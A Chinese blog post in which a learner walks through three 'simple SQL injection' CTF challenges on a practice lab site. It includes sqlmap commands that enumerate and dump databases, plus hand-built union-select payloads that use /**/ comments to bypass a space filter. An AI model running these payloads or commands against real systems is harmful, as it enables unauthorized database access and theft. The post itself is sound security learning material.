sql注入学习心得与sqlmap使用心得
做题是最好的老师
首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3
不得不说,sql注入真是一个神奇的东西,至少我以前看起来一点头绪都没有的题目能入手了
首先是简单的sql注入3(别问我为什么不是1)
打开链接之后发现
陷入沉思,这时候我决定使用sqlmap对他进行sql注入
在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就开始等他跑,当然跑的过程有点长,就不贴图了
最终结果得到
3个表,这可还行,然后我们打开web1看看里面有什么列
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

emmmmm,熟悉的字眼,是flag!
于是我们再进入列看看
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已经出现了,这时候我们只需要把它dump出来就好了
python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1
最终得到答案 flag{Y0u_@r3_5O_dAmn_90Od}
当然,这样可能比较麻烦,所以第二题我就换了一种方法
输入1发现
,那我们再输入1 and 1 = 1
报错了,emmmmm。于是看了一下别人的wp,原来报SQLi detected!,说明有防护;name: baloteli 说明过滤了“空格”
所以我们先查看有哪些数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
好家伙,又是web1,那我们再看看有什么表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了这个,那我们再看看里面有什么东西
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}
最后我们来说一下简单的sql注入1
当然我的做法和2一样,只不过看列的时候出现了一点问题
于是我直接就进行了最后一步,希望能得到答案,当然最后还是运气好得到答案了
flag{Y0u_@r3_5O_dAmn_90Od}
希望有dalao能解答一下我最后遇到的问题,欢迎评论
sql注入学习心得与sqlmap使用心得的更多相关文章
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- SQL注入之常用工具sqlmap
通常来说,验证一个页面是否存在注入漏洞比较简单,而要获取数据,扩大权限,则要输入很复杂的SQL语句,有时候我们还会对大量的URL进行测试,这时就需要用到工具来帮助我们进行注入了. 目前流行的注入工具有 ...
- Sql 注入----学习笔记2
转载自:http://blog.51cto.com/quiterr/1699964 sql注入 sql注入98年第一次出现在<phrack>54期上. 注入攻击有两个关键条件,第一是用户能 ...
- SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- 从零开始的sql注入学习(挖坑不填)
首先,本人是小白,这篇文章也只是总结了一下大佬们的sql注入方法,要是有错,请各位大佬指出,以便学习. 虽然我是菜鸡,但是太过基础的sql注入问题也就不再重复的解释了.直接从常用的说起. 实战中常用的 ...
- sql注入之超详细sqlmap使用攻略
0x00 前言 干过sql注入的小伙伴们一定听说过sqlmap的大名,但是面对一些特殊情况,sqlmap也不一定"好使",这里的"好使"并不是真正不好使的意思, ...
随机推荐
- [No00004F]史上最全Vim快捷键键位图(入门到进阶)vim常用命令总结
在命令状态下对当前行用== (连按=两次), 或对多行用n==(n是自然数)表示自动缩进从当前行起的下面n行.你可以试试把代码缩进任意打乱再用n==排版,相当于一般IDE里的code format.使 ...
- free详解
用法: [oracle@server36 ~]$ free -help free: invalid option -- h usage: free [-b|-k|-m|-g] [-l] [-o] [- ...
- Find The Multiple--POJ1426
Description Given a positive integer n, write a program to find out a nonzero multiple m of n whose ...
- virtualenv 使用
一.安装 pip install virtualenv 因为我已经安装了pip,那么就直接用pip来安装了,简单方便. 其它的安装方式请参考官方网站:http://www.virtualenv.org ...
- SQL SERVER 聚集索引 非聚集索引 区别
转自http://blog.csdn.net/single_wolf_wolf/article/details/52915862 一.理解索引的结构 索引在数据库中的作用类似于目录在书籍中的作用,用来 ...
- Codeforces Round #247 (Div. 2) D. Random Task
D. Random Task time limit per test 1 second memory limit per test 256 megabytes input standard input ...
- Vue 命令
vue是数据渲染使用:axios,官网:https://www.kancloud.cn/yunye/axios/234845 || https://www.npmjs.com/search? ...
- for练习相关
for嵌套: 大圈套小圈思想:有一种重复的情况而这种情况每一次对应另外情况多次. ------------------------------------------------------- 例如: ...
- [LeetCode] 64. Minimum Path Sum_Medium tag: Dynamic Programming
Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which ...
- numpy中的广播(Broadcasting)
Numpy的Universal functions 中要求输入的数组shape是一致的,当数组的shape不相等的时候,则会使用广播机制,调整数组使得shape一样,满足规则,则可以运算,否则就出错 ...